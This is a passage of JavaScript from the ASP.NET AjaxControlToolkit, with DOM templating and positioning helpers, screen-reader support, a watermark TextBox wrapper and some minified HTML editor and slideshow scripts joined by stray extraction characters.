        /// <param name="innerElement" type="Sys.UI.DomElement">The element to be wrapped</param>
        /// <param name="newOuterElement" type="Sys.UI.DomElement">The new parent for the element</param>
        /// <returns />

        var parent = oldOuterElement.parentNode;
        if (parent != null) {
            $common.removeElement(innerElement);
            parent.replaceChild(innerElement, oldOuterElement);
        }
    },

    removeElement: function(element) {
        /// <summary>
        /// Removes an element from the DOM tree
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement">The element to be removed</param>
        /// <returns />

        var parent = element.parentNode;
        if (parent != null) {
            parent.removeChild(element);
        }
    },

    applyProperties: function(target, properties) {
        /// <summary>
        /// Quick utility method to copy properties from a template object to a target object
        /// </summary>
        /// <param name="target" type="Object">The object to apply to</param>
        /// <param name="properties" type="Object">The template to copy values from</param>

        for (var p in properties) {
            var pv = properties[p];
            if (pv != null && Object.getType(pv) === Object) {
                var tv = target[p];
                $common.applyProperties(tv, pv);
            } else {
                target[p] = pv;
            }
        }
    },

    createElementFromTemplate: function(template, appendToParent, nameTable) {
        /// <summary>
        /// Creates an element for the current document based on a template object
        /// </summary>
        /// <param name="template" type="Object">The template from which to create the element</param>
        /// <param name="appendToParent" type="Sys.UI.DomElement" optional="true" mayBeNull="true">A DomElement under which to append this element</param>
        /// <param name="nameTable" type="Object" optional="true" mayBeNull="true">An object to use as the storage for the element using template.name as the key</param>
        /// <returns type="Sys.UI.DomElement" />
        /// <remarks>
        /// This method is useful if you find yourself using the same or similar DomElement constructions throughout a class.  You can even set the templates
        /// as static properties for a type to cut down on overhead.  This method is often called with a JSON style template:
        /// <code>
        /// var elt = $common.createElementFromTemplate({
        ///     nodeName : "div",
        ///     properties : {
        ///         style : {
        ///             height : "100px",
        ///             width : "100px",
        ///             backgroundColor : "white"
        ///         },
        ///         expandoAttribute : "foo"
        ///     },
        ///     events : {
        ///         click : function() { alert("foo"); },
        ///         mouseover : function() { elt.backgroundColor = "silver"; },
        ///         mouseout : function() { elt.backgroundColor = "white"; }
        ///     },
        ///     cssClasses : [ "class0", "class1" ],
        ///     visible : true,
        ///     opacity : .5
        /// }, someParent);
        /// </code>
        /// </remarks>

        // if we wish to override the name table we do so here
        if (typeof (template.nameTable) != 'undefined') {
            var newNameTable = template.nameTable;
            if (String.isInstanceOfType(newNameTable)) {
                newNameTable = nameTable[newNameTable];
            }
            if (newNameTable != null) {
                nameTable = newNameTable;
            }
        }

        // get a name for the element in the nameTable
        var elementName = null;
        if (typeof (template.name) !== 'undefined') {
            elementName = template.name;
        }

        // create or acquire the element
        var elt = document.createElement(template.nodeName);

        // if our element is named, add it to the name table
        if (typeof (template.name) !== 'undefined' && nameTable) {
            nameTable[template.name] = elt;
        }

        // if we wish to supply a default parent we do so here
        if (typeof (template.parent) !== 'undefined' && appendToParent == null) {
            var newParent = template.parent;
            if (String.isInstanceOfType(newParent)) {
                newParent = nameTable[newParent];
            }
            if (newParent != null) {
                appendToParent = newParent;
            }
        }

        // properties are applied as expando values to the element
        if (typeof (template.properties) !== 'undefined' && template.properties != null) {
            $common.applyProperties(elt, template.properties);
        }

        // css classes are added to the element's className property
        if (typeof (template.cssClasses) !== 'undefined' && template.cssClasses != null) {
            $common.addCssClasses(elt, template.cssClasses);
        }

        // events are added to the dom element using $addHandlers
        if (typeof (template.events) !== 'undefined' && template.events != null) {
            $addHandlers(elt, template.events);
        }

        // if the element is visible or not its visibility is set
        if (typeof (template.visible) !== 'undefined' && template.visible != null) {
            this.setVisible(elt, template.visible);
        }

        // if we have an appendToParent we will now append to it
        if (appendToParent) {
            appendToParent.appendChild(elt);
        }

        // if we have opacity, apply it
        if (typeof (template.opacity) !== 'undefined' && template.opacity != null) {
            $common.setElementOpacity(elt, template.opacity);
        }

        // if we have child templates, process them
        if (typeof (template.children) !== 'undefined' && template.children != null) {
            for (var i = 0; i < template.children.length; i++) {
                var subtemplate = template.children[i];
                $common.createElementFromTemplate(subtemplate, elt, nameTable);
            }
        }

        // if we have a content presenter for the element get it (the element itself is the default presenter for content)
        var contentPresenter = elt;
        if (typeof (template.contentPresenter) !== 'undefined' && template.contentPresenter != null) {
            contentPresenter = nameTable[contentPresenter];
        }

        // if we have content, add it
        if (typeof (template.content) !== 'undefined' && template.content != null) {
            var content = template.content;
            if (String.isInstanceOfType(content)) {
                content = nameTable[content];
            }
            if (content.parentNode) {
                $common.wrapElement(content, elt, contentPresenter);
            } else {
                contentPresenter.appendChild(content);
            }
        }

        // return the created element
        return elt;
    },

    prepareHiddenElementForATDeviceUpdate: function() {
        /// <summary>
        /// JAWS, an Assistive Technology device responds to updates to form elements 
        /// and refreshes its document buffer to what is showing live
        /// in the browser. To ensure that Toolkit controls that make XmlHttpRequests to
        /// retrieve content are useful to users with visual disabilities, we update a
        /// hidden form element to ensure that JAWS conveys what is in
        /// the browser. See this article for more details: 
        /// http://juicystudio.com/article/improving-ajax-applications-for-jaws-users.php
        /// This method creates a hidden input on the screen for any page that uses a Toolkit
        /// control that will perform an XmlHttpRequest.
        /// </summary>   
        var objHidden = document.getElementById('hiddenInputToUpdateATBuffer_CommonToolkitScripts');
        if (!objHidden) {
            var objHidden = document.createElement('input');
            objHidden.setAttribute('type', 'hidden');
            objHidden.setAttribute('value', '1');
            objHidden.setAttribute('id', 'hiddenInputToUpdateATBuffer_CommonToolkitScripts');
            objHidden.setAttribute('name', 'hiddenInputToUpdateATBuffer_CommonToolkitScripts');
            if (document.forms[0]) {
                document.forms[0].appendChild(objHidden);
            }
        }
    },

    updateFormToRefreshATDeviceBuffer: function() {
        /// <summary>
        /// Updates the hidden buffer to ensure that the latest document stream is picked up
        /// by the screen reader.
        /// </summary>
        var objHidden = document.getElementById('hiddenInputToUpdateATBuffer_CommonToolkitScripts');

        if (objHidden) {
            if (objHidden.getAttribute('value') == '1') {
                objHidden.setAttribute('value', '0');
            } else {
                objHidden.setAttribute('value', '1');
            }
        }
    },

    appendElementToFormOrBody: function(element) {
        /// <summary>
        /// Tries to append an element to the current form. If no form exists, the element will be appended to the body element.
        /// </summary>
        /// <param name="element" type="Object">The element to append.</param>
        if (document.forms && document.forms[0]) {
            document.forms[0].appendChild(element);
        } else {
            document.body.appendChild(element);
        }
    }
}

// getLocation implementation from msajax 4
if (document.documentElement.getBoundingClientRect) {
    Sys.UI.DomElement.getLocation = function(element) {
        /// <summary>Gets the coordinates of a DOM element.</summary>
        /// <param name="element" domElement="true"/>
        /// <returns type="Sys.UI.Point">
        ///   A Point object with two fields, x and y, which contain the pixel coordinates of the element.
        /// </returns>
        // For a document element, body, or window, return zero.
        // In IE8, the boundingClientRect for body is influenced by the bounding rect of its content, and so may not be 0,0.
        // But for positioning purposes, elements positioned at 0,0 will be at the top even if the content has margins, etc, so
        // getlocation should return 0,0 for body.
        // In all browsers, detecting the body works by seeing if the element's parent ndoe is the element's own document's documentElement node.
        if (element.self || element.nodeType === 9 || // window?
            (element === document.documentElement) || // documentElement?
            (element.parentNode === element.ownerDocument.documentElement)) { // body?
            return new Sys.UI.Point(0, 0);
        }        
        
        // Here there is a small inconsistency with what other browsers would give for wrapping elements:
        // the bounding rect can be different from the first rectangle. getBoundingRect is used here
        // because it's more consistent and because clientRects need to be offset by the coordinates
        // of the frame in the parent window, which is not always accessible to script (if it's in a different
        // domain in particular).
        var clientRect = element.getBoundingClientRect();
        if (!clientRect) {
            return new Sys.UI.Point(0,0);
        }
        // Firefox 3 can return decimals here, so round them.
        // This appears to be consistent with how the display engine actually places the element when there is a decimal.
        var ex, documentElement = element.ownerDocument.documentElement,
            offsetX = Math.round(clientRect.left) + documentElement.scrollLeft,
            offsetY = Math.round(clientRect.top) + documentElement.scrollTop;
        if (Sys.Browser.agent === Sys.Browser.InternetExplorer) {
            // When the window is an iframe, the frameborder needs to be added. This is only available from
            // script when the parent window is in the same domain as the frame, hence the try/catch.
            try {
                var f = element.ownerDocument.parentWindow.frameElement || null;
                if (f) {
                    // frameBorder has a default of "1" so undefined must map to 0, and "0" and "no" to 2.
                    var offset = (f.frameBorder === "0" || f.frameBorder === "no") ? 2 : 0;
                    offsetX += offset;
                    offsetY += offset;
                }
            }
            catch(ex) {
            }
            if (Sys.Browser.version === 7 && !document.documentMode) {
                // IE7 reapplies the page zoom level when using the returned coordinates.
                // therefore we must divide by the zoom level to compensate. This is not perfect, but close.
                // NOTE: IE8 with document.documentMode === 7 does NOT emulate IE7 behavior, by design.
                // Also, this zoom detection does not work perfectly in IE8 compat mode, where we would want
                // it to be 100% always, so it is necessary that we ensure this only happens in ACTUAL IE7.
                // IE6 does not support zoom.
                var body = document.body,
                    rect = body.getBoundingClientRect(),
                    zoom = (rect.right-rect.left) / body.clientWidth;
                // zoom is not completely accurate, so snap to the previous 5% by multiplying by 100, rounding,
                // then subtracting zoom % 5, then dividing by 100 to get back to a multiplier.
                // It's not likely someone is zooming at 154%, for example, so that probably means it is actually 150%, whereas
                // 156% probably means 155% (the estimate tends to over-estimate).
                zoom = Math.round(zoom * 100);
                zoom = (zoom - zoom % 5) / 100;
                if (!isNaN(zoom) && (zoom !== 1)) {
                    offsetX = Math.round(offsetX / zoom);
                    offsetY = Math.round(offsetY / zoom);
                }
            }        
            if ((document.documentMode || 0) < 8) {
                offsetX -= documentElement.clientLeft;
                offsetY -= documentElement.clientTop;
            }
        }
        return new Sys.UI.Point(offsetX, offsetY);
    }
}
else if (Sys.Browser.agent === Sys.Browser.Safari) {
    Sys.UI.DomElement.getLocation = function(element) {
        /// <summary>Gets the coordinates of a DOM element.</summary>
        /// <param name="element" domElement="true"/>
        /// <returns type="Sys.UI.Point">
        ///   A Point object with two fields, x and y, which contain the pixel coordinates of the element.
        /// </returns>
        // For a document element, return zero.
        if ((element.window && (element.window === element)) || element.nodeType === 9) return new Sys.UI.Point(0,0);

        var offsetX = 0, offsetY = 0,
            parent,
            previous = null,
            previousStyle = null,
            currentStyle;
        for (parent = element; parent; previous = parent, previousStyle = currentStyle, parent = parent.offsetParent) {
            currentStyle = Sys.UI.DomElement._getCurrentStyle(parent);
            var tagName = parent.tagName ? parent.tagName.toUpperCase() : null;

            if ((parent.offsetLeft || parent.offsetTop) &&
                ((tagName !== "BODY") || (!previousStyle || previousStyle.position !== "absolute"))) {
                offsetX += parent.offsetLeft;
                offsetY += parent.offsetTop;
            }

            if (previous && Sys.Browser.version >= 3) {
                offsetX += parseInt(currentStyle.borderLeftWidth);
                offsetY += parseInt(currentStyle.borderTopWidth);
            }
        }

        currentStyle = Sys.UI.DomElement._getCurrentStyle(element);
        var elementPosition = currentStyle ? currentStyle.position : null;
        // If an element is absolutely positioned, its parent's scroll should not be subtracted
        if (!elementPosition || (elementPosition !== "absolute")) {
            for (parent = element.parentNode; parent; parent = parent.parentNode) {
                tagName = parent.tagName ? parent.tagName.toUpperCase() : null;

                if ((tagName !== "BODY") && (tagName !== "HTML") && (parent.scrollLeft || parent.scrollTop)) {
                    offsetX -= (parent.scrollLeft || 0);
                    offsetY -= (parent.scrollTop || 0);
                }
                currentStyle = Sys.UI.DomElement._getCurrentStyle(parent);
                var parentPosition = currentStyle ? currentStyle.position : null;

                if (parentPosition && (parentPosition === "absolute")) break;
            }
        }
        return new Sys.UI.Point(offsetX, offsetY);
    }
}
else {
    Sys.UI.DomElement.getLocation = function(element) {
        /// <summary>Gets the coordinates of a DOM element.</summary>
        /// <param name="element" domElement="true"/>
        /// <returns type="Sys.UI.Point">
        ///   A Point object with two fields, x and y, which contain the pixel coordinates of the element.
        /// </returns>
        // For a document element, return zero.
        if ((element.window && (element.window === element)) || element.nodeType === 9) return new Sys.UI.Point(0,0);

        var offsetX = 0, offsetY = 0,
            parent,
            previous = null,
            previousStyle = null,
            currentStyle = null;
        for (parent = element; parent; previous = parent, previousStyle = currentStyle, parent = parent.offsetParent) {
            var tagName = parent.tagName ? parent.tagName.toUpperCase() : null;
            currentStyle = Sys.UI.DomElement._getCurrentStyle(parent);

            if ((parent.offsetLeft || parent.offsetTop) &&
                !((tagName === "BODY") &&
                (!previousStyle || previousStyle.position !== "absolute"))) {

                offsetX += parent.offsetLeft;
                offsetY += parent.offsetTop;
            }

            if (previous !== null && currentStyle) {
                if ((tagName !== "TABLE") && (tagName !== "TD") && (tagName !== "HTML")) {
                    offsetX += parseInt(currentStyle.borderLeftWidth) || 0;
                    offsetY += parseInt(currentStyle.borderTopWidth) || 0;
                }
                if (tagName === "TABLE" &&
                    (currentStyle.position === "relative" || currentStyle.position === "absolute")) {
                    offsetX += parseInt(currentStyle.marginLeft) || 0;
                    offsetY += parseInt(currentStyle.marginTop) || 0;
                }
            }
        }

        currentStyle = Sys.UI.DomElement._getCurrentStyle(element);
        var elementPosition = currentStyle ? currentStyle.position : null;
        // If an element is absolutely positioned, its parent's scroll should not be subtracted, except on Opera.
        if (!elementPosition || (elementPosition !== "absolute")) {
            for (parent = element.parentNode; parent; parent = parent.parentNode) {
                tagName = parent.tagName ? parent.tagName.toUpperCase() : null;

                if ((tagName !== "BODY") && (tagName !== "HTML") && (parent.scrollLeft || parent.scrollTop)) {

                    offsetX -= (parent.scrollLeft || 0);
                    offsetY -= (parent.scrollTop || 0);

                    currentStyle = Sys.UI.DomElement._getCurrentStyle(parent);
                    if (currentStyle) {
                        offsetX += parseInt(currentStyle.borderLeftWidth) || 0;
                        offsetY += parseInt(currentStyle.borderTopWidth) || 0;
                    }
                }
            }
        }
        return new Sys.UI.Point(offsetX, offsetY);
    }
}

// Create the singleton instance of the CommonToolkitScripts
var CommonToolkitScripts = AjaxControlToolkit.CommonToolkitScripts = new AjaxControlToolkit._CommonToolkitScripts();
var $common = CommonToolkitScripts;

// Alias functions that were moved from BlockingScripts into Common
Sys.UI.DomElement.getVisible = $common.getVisible;
Sys.UI.DomElement.setVisible = $common.setVisible;
Sys.UI.Control.overlaps = $common.overlaps;

AjaxControlToolkit._DomUtility = function() {
    /// <summary>
    /// Utility functions for manipulating the DOM
    /// </summary>
}
AjaxControlToolkit._DomUtility.prototype = {
    isDescendant : function(ancestor, descendant) {
        /// <summary>
        /// Whether the specified element is a descendant of the ancestor
        /// </summary>
        /// <param name="ancestor" type="Sys.UI.DomElement">Ancestor node</param>
        /// <param name="descendant" type="Sys.UI.DomElement">Possible descendant node</param>
        /// <returns type="Boolean" />
        
        for (var n = descendant.parentNode; n != null; n = n.parentNode) {
            if (n == ancestor) return true;
        }
        return false;
    },
    isDescendantOrSelf : function(ancestor, descendant) {
        /// <summary>
        /// Whether the specified element is a descendant of the ancestor or the same as the ancestor
        /// </summary>
        /// <param name="ancestor" type="Sys.UI.DomElement">Ancestor node</param>
        /// <param name="descendant" type="Sys.UI.DomElement">Possible descendant node</param>
        /// <returns type="Boolean" />

        if (ancestor === descendant) 
            return true;
        return AjaxControlToolkit.DomUtility.isDescendant(ancestor, descendant);
    },
    isAncestor : function(descendant, ancestor) {
        /// <summary>
        /// Whether the specified element is an ancestor of the descendant
        /// </summary>
        /// <param name="descendant" type="Sys.UI.DomElement">Descendant node</param>
        /// <param name="ancestor" type="Sys.UI.DomElement">Possible ancestor node</param>
        /// <returns type="Boolean" />

        return AjaxControlToolkit.DomUtility.isDescendant(ancestor, descendant);
    },
    isAncestorOrSelf : function(descendant, ancestor) {
        /// <summary>
        /// Whether the specified element is an ancestor of the descendant or the same as the descendant
        /// </summary>
        /// <param name="descendant" type="Sys.UI.DomElement">Descendant node</param>
        /// <param name="ancestor" type="Sys.UI.DomElement">Possible ancestor node</param>
        /// <returns type="Boolean" />
        
        if (descendant === ancestor)
            return true;
            
        return AjaxControlToolkit.DomUtility.isDescendant(ancestor, descendant);
    },
    isSibling : function(self, sibling) {
        /// <summary>
        /// Whether the specified element is a sibling of the self element
        /// </summary>
        /// <param name="self" type="Sys.UI.DomElement">Self node</param>
        /// <param name="sibling" type="Sys.UI.DomElement">Possible sibling node</param>
        /// <returns type="Boolean" />
        
        var parent = self.parentNode;
        for (var i = 0; i < parent.childNodes.length; i++) {
            if (parent.childNodes[i] == sibling) return true;
        }
        return false;
    }
}
AjaxControlToolkit._DomUtility.registerClass("AjaxControlToolkit._DomUtility");
AjaxControlToolkit.DomUtility = new AjaxControlToolkit._DomUtility();


AjaxControlToolkit.TextBoxWrapper = function(element) {
    /// <summary>
    /// Class that wraps a TextBox (INPUT type="text") to abstract-out the
    /// presence of a watermark (which may be visible to the user but which
    /// should never be read by script.
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// The DOM element the behavior is associated with
    /// </param>
    AjaxControlToolkit.TextBoxWrapper.initializeBase(this, [element]);
    this._current = element.value;
    this._watermark = null;
    this._isWatermarked = false;
}

AjaxControlToolkit.TextBoxWrapper.prototype = {

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        this.get_element().AjaxControlToolkitTextBoxWrapper = null;
        AjaxControlToolkit.TextBoxWrapper.callBaseMethod(this, 'dispose');
    },

    get_Current : function() {
        /// <value type="String">
        /// Current value actually in the TextBox (i.e., TextBox.value)
        /// </value>
        this._current = this.get_element().value;
        return this._current;
    },
    set_Current : function(value) {
        this._current = value;
        this._updateElement();
    },

    get_Value : function() {
        /// <value type="String">
        /// Conceptual "value" of the TextBox - its contents if no watermark is present
        /// or "" if one is
        /// </value>
        if (this.get_IsWatermarked()) {
            return "";
        } else {
            return this.get_Current();
        }
    },
    set_Value : function(text) {
        this.set_Current(text);
        if (!text || (0 == text.length)) {
            if (null != this._watermark) {
                this.set_IsWatermarked(true);
            }
        } else {
            this.set_IsWatermarked(false);
        }
    },

    get_Watermark : function() {
        /// <value type="String">
        /// Text of the watermark for the TextBox
        /// </value>
        return this._watermark;
    },
    set_Watermark : function(value) {
        this._watermark = value;
        this._updateElement();
    },

    get_IsWatermarked : function() {
        /// <value type="Boolean">
        /// true iff the TextBox is watermarked
        /// </value>
        return this._isWatermarked;
    },
    set_IsWatermarked : function(isWatermarked) {
        if (this._isWatermarked != isWatermarked) {
            this._isWatermarked = isWatermarked;
            this._updateElement();
            this._raiseWatermarkChanged();
        }
    },

    _updateElement : function() {
        /// <summary>
        /// Updates the actual contents of the TextBox according to what should be there
        /// </summary>
        var element = this.get_element();
        if (this._isWatermarked) {
            if (element.value != this._watermark) {
                element.value = this._watermark;
            }
        } else {
            if (element.value != this._current) {
                element.value = this._current;
            }
        }
    },

    add_WatermarkChanged : function(handler) {
        /// <summary>
        /// Adds a handler for the WatermarkChanged event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler("WatermarkChanged", handler);
    },
    remove_WatermarkChanged : function(handler) {
        /// <summary>
        /// Removes a handler for the WatermarkChanged event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler("WatermarkChanged", handler);
    },
    _raiseWatermarkChanged : function() {
        /// <summary>
        /// Raises the WatermarkChanged event
        /// </summary>
        var onWatermarkChangedHandler = this.get_events().getHandler("WatermarkChanged");
        if (onWatermarkChangedHandler) {
            onWatermarkChangedHandler(this, Sys.EventArgs.Empty);
        }
    }
}
AjaxControlToolkit.TextBoxWrapper.get_Wrapper = function(element) {
    /// <summary>
    /// Gets (creating one if necessary) the TextBoxWrapper for the specified TextBox
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// TextBox for which to get the wrapper
    /// </param>
    /// <returns type="AjaxControlToolkit.TextBoxWrapper">
    /// TextBoxWrapper instance
    /// </returns>
    if (null == element.AjaxControlToolkitTextBoxWrapper) {
        element.AjaxControlToolkitTextBoxWrapper = new AjaxControlToolkit.TextBoxWrapper(element);
    }
    return element.AjaxControlToolkitTextBoxWrapper;
}
AjaxControlToolkit.TextBoxWrapper.registerClass('AjaxControlToolkit.TextBoxWrapper', Sys.UI.Behavior);

AjaxControlToolkit.TextBoxWrapper.validatorGetValue = function(id) {
    /// <summary>
    /// Wrapper for ASP.NET's validatorGetValue to return the value from the wrapper if present
    /// </summary>
    /// <param name="id" type="String">
    /// id of the element
    /// </param>
    /// <returns type="Object">
    /// Value from the wrapper or result of original ValidatorGetValue
    /// </returns>
    var control = $get(id);
    if (control && control.AjaxControlToolkitTextBoxWrapper) {
        return control.AjaxControlToolkitTextBoxWrapper.get_Value();
    }
    return AjaxControlToolkit.TextBoxWrapper._originalValidatorGetValue(id);
}

// Wrap ASP.NET's ValidatorGetValue with AjaxControlToolkit.TextBoxWrapper.validatorGetValue
// to make validators work properly with watermarked TextBoxes
if (typeof(ValidatorGetValue) == 'function') {
    AjaxControlToolkit.TextBoxWrapper._originalValidatorGetValue = ValidatorGetValue;
    ValidatorGetValue = AjaxControlToolkit.TextBoxWrapper.validatorGetValue;
}


// Temporary fix null reference bug in Sys.CultureInfo._getAbbrMonthIndex
if (Sys.CultureInfo.prototype._getAbbrMonthIndex) {
    Sys.CultureInfo.prototype._getAbbrMonthIndex = function(value) {
        if (!this._upperAbbrMonths) {
            this._upperAbbrMonths = this._toUpperArray(this.dateTimeFormat.AbbreviatedMonthNames);
        }
        return Array.indexOf(this._upperAbbrMonths, this._toUpper(value));
    }
    Sys.CultureInfo.CurrentCulture._getAbbrMonthIndex = Sys.CultureInfo.prototype._getAbbrMonthIndex;
    Sys.CultureInfo.InvariantCulture._getAbbrMonthIndex = Sys.CultureInfo.prototype._getAbbrMonthIndex;
}
%Type.registerNamespace("AjaxControlToolkit");Type.registerNamespace("Seadragon");AjaxControlToolkit.Seadragon.Strings={Errors:{Failure:"Sorry, but Seadragon Ajax can't run on your browser!\nPlease try using IE 7 or Firefox 3.\n",Dzc:"Sorry, we don't support Deep Zoom Collections!",Dzi:"Hmm, this doesn't appear to be a valid Deep Zoom Image.",Xml:"Hmm, this doesn't appear to be a valid Deep Zoom Image.",Empty:"You asked us to open nothing, so we did just that.",ImageFormat:"Sorry, we don't support {0}-based Deep Zoom Images.",Security:"It looks like a security restriction stopped us from loading this Deep Zoom Image.",Status:"This space unintentionally left blank ({0} {1}).",Unknown:"Whoops, something inexplicably went wrong. Sorry!"},Messages:{Loading:"Loading..."},Tooltips:{FullPage:"Toggle full page",Home:"Go home",ZoomIn:"Zoom in",ZoomOut:"Zoom out"},getString:function(e){for(var c=e.split("."),a=AjaxControlToolkit.Seadragon.Strings,b=0;b<c.length;b++)a=a[c[b]]||{};if(typeof a!="string")a="";var d=arguments;return a.replace(/\{\d+\}/g,function(b){var a=parseInt(b.match(/\d+/))+1;return a<d.length?d[a]:""})},setString:function(e,d){for(var c=e.split("."),b=Seadragon.Strings,a=0;a<c.length-1;a++){if(!b[c[a]])b[c[a]]={};b=b[c[a]]}b[c[a]]=d}};Seadragon.Strings=AjaxControlToolkit.Seadragon.Strings;'Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton.prototype={callMethod:function(){var a=this;if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton.callBaseMethod(a,"callMethod"))return false;a.openPopup(Function.createDelegate(a,a._onopened));return true},_onopened:function(a){a.setColor=Function.createDelegate(this,this.setColor)},setColor:function(){this.closePopup()}};AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton);?Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton.prototype={initialize:function(){AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton.callBaseMethod(this,"initialize")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.HtmlPanel=function(b){var a=this;AjaxControlToolkit.HTMLEditor.HtmlPanel.initializeBase(a,[b]);a._onfocus$delegate=Function.createDelegate(a,a._onfocus);if(AjaxControlToolkit.HTMLEditor.isIE&&document.compatMode!="BackCompat")a._onresize$delegate=Function.createDelegate(a,a._onresize)};AjaxControlToolkit.HTMLEditor.HtmlPanel.prototype={_activate:function(c){var a=this;a._shouldResize=false;var b=a.get_element();if(AjaxControlToolkit.HTMLEditor.isIE&&Sys.Browser.version>6&&document.compatMode!="BackCompat"&&b.parentNode.clientHeight>0)a._shouldResize=true;AjaxControlToolkit.HTMLEditor.HtmlPanel.callBaseMethod(a,"_activate");if(AjaxControlToolkit.HTMLEditor.isIE){b.value="";var d=a;setTimeout(function(){b.value=c},0)}else b.value=c;$addHandlers(b,{focus:a._onfocus$delegate});a._shouldResize&&$addHandlers(b,{resize:a._onresize$delegate});a._activateFinished()},_deactivate:function(){var a=this,b=a.get_element();a._shouldResize&&$common.removeHandlers(b,{resize:a._onresize$delegate});a._shouldResize=false;$common.removeHandlers(b,{focus:a._onfocus$delegate});b.value="";AjaxControlToolkit.HTMLEditor.HtmlPanel.callBaseMethod(a,"_deactivate")},_getContent:function(){return this.get_element().value},_setContent:function(b){this.get_element().value=b;if(AjaxControlToolkit.HTMLEditor.isReallyVisible(this.get_element().parentNode))try{var a=this.get_element();a.focus();setTimeout(function(){try{AjaxControlToolkit.HTMLEditor.setSelectionRange(a,0,0)}catch(b){}},0)}catch(c){}},_focus:function(){if(AjaxControlToolkit.HTMLEditor.isReallyVisible(this.get_element().parentNode))try{var a=this.get_element();a.focus();setTimeout(function(){try{AjaxControlToolkit.HTMLEditor.setSelectionRange(a,0,0)}catch(b){}},0)}catch(c){}var b=this;setTimeout(function(){b._focused()},0)},_onfocus:function(){this._really_focused();var a=this.get_element();setTimeout(function(){a.focus()},0);return true},_onresize:function(){var b=this.get_element(),a=b.parentNode.clientHeight;if(a>0)b.style.height=a+"px"}};AjaxControlToolkit.HTMLEditor.HtmlPanel.registerClass("AjaxControlToolkit.HTMLEditor.HtmlPanel",AjaxControlToolkit.HTMLEditor.ModePanel);2-Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.SlideShowBehavior=function(d){var c=false,b=null,a=this;AjaxControlToolkit.SlideShowBehavior.initializeBase(a,[d]);a._nextButtonID=b;a._previousButtonID=b;a._imageDescriptionLabelID=b;a._imageTitleLabelID=b;a._playButtonID=b;a._playButtonValue="||>";a._stopButtonValue="[]";a._slideShowServicePath=b;a._slideShowServiceMethod=b;a._contextKey=b;a._useContextKey=c;a._playInterval=3e3;a._tickHandler=b;a._loop=c;a._autoPlay=c;a._inPlayMode=c;a._elementImage=b;a._bNext=b;a._bPrevious=b;a._currentIndex=-1;a._currentValue=b;a._imageDescriptionLabel=b;a._imageTitleLabel=b;a._bPlay=b;a._slides=b;a._timer=b;a._currentImageElement=b;a._images=b;a._cachedImageIndex=-1;a._clickNextHandler=b;a._clickPreviousHandler=b;a._clickPlayHandler=b;a._tickHandler=b;a._imageLoadedHandler=b};AjaxControlToolkit.SlideShowBehavior.prototype={initialize:function(){var c="click",a=this;AjaxControlToolkit.SlideShowBehavior.callBaseMethod(a,"initialize");var b=a.get_element();a._elementImage=b;a._currentImageElement=document.createElement("IMG");a._currentImageElement.style.display="none";document.body.appendChild(a._currentImageElement);var d=document.createElement("DIV");b.parentNode.insertBefore(d,b);b.parentNode.removeChild(b);d.appendChild(b);d.align="center";a.controlsSetup();if(a._bNext){a._clickNextHandler=Function.createDelegate(a,a._onClickNext);$addHandler(a._bNext,c,a._clickNextHandler)}if(a._bPrevious){a._clickPreviousHandler=Function.createDelegate(a,a._onClickPrevious);$addHandler(a._bPrevious,c,a._clickPreviousHandler)}if(a._bPlay){a._clickPlayHandler=Function.createDelegate(a,a._onClickPlay);$addHandler(a._bPlay,c,a._clickPlayHandler)}a._imageLoadedHandler=Function.createDelegate(a,a._onImageLoaded);$addHandler(a._currentImageElement,"load",a._imageLoadedHandler);a._slideShowInit()},dispose:function(){var b=null,c="click",a=this;if(a._clickNextHandler){$removeHandler(a._bNext,c,a._clickNextHandler);a._clickNextHandler=b}if(a._clickPreviousHandler){$removeHandler(a._bPrevious,c,a._clickPreviousHandler);a._clickPreviousHandler=b}if(a._clickPlayHandler){$removeHandler(a._bPlay,c,a._clickPlayHandler);a._clickPlayHandler=b}if(a._imageLoadedHandler){$removeHandler(a._currentImageElement,"load",a._imageLoadedHandler);a._imageLoadedHandler=b}if(a._timer){a._timer.dispose();a._timer=b}AjaxControlToolkit.SlideShowBehavior.callBaseMethod(a,"dispose")},add_slideChanged:function(a){this.get_events().addHandler("slideChanged",a)},remove_slideChanged:function(a){this.get_events().removeHandler("slideChanged",a)},raiseSlideChanged:function(a){var b=this.get_events().getHandler("slideChanged");if(b){if(!a)a=Sys.EventArgs.Empty;b(this,a)}},add_slideChanging:function(a){this.get_events().addHandler("slideChanging",a)},remove_slideChanging:function(a){this.get_events().removeHandler("slideChanging",a)},raiseSlideChanging:function(c,d){var b=this.get_events().getHandler("slideChanging");if(b){var a=new AjaxControlToolkit.SlideShowEventArgs(c,d,this._currentIndex);b(this,a);return a.get_cancel()}return false},get_contextKey:function(){return this._contextKey},set_contextKey:function(b){var a=this;if(a._contextKey!=b){a._contextKey=b;a.set_useContextKey(true);a._elementImage&&a._slideShowInit();a.raisePropertyChanged("contextKey")}},get_useContextKey:function(){return 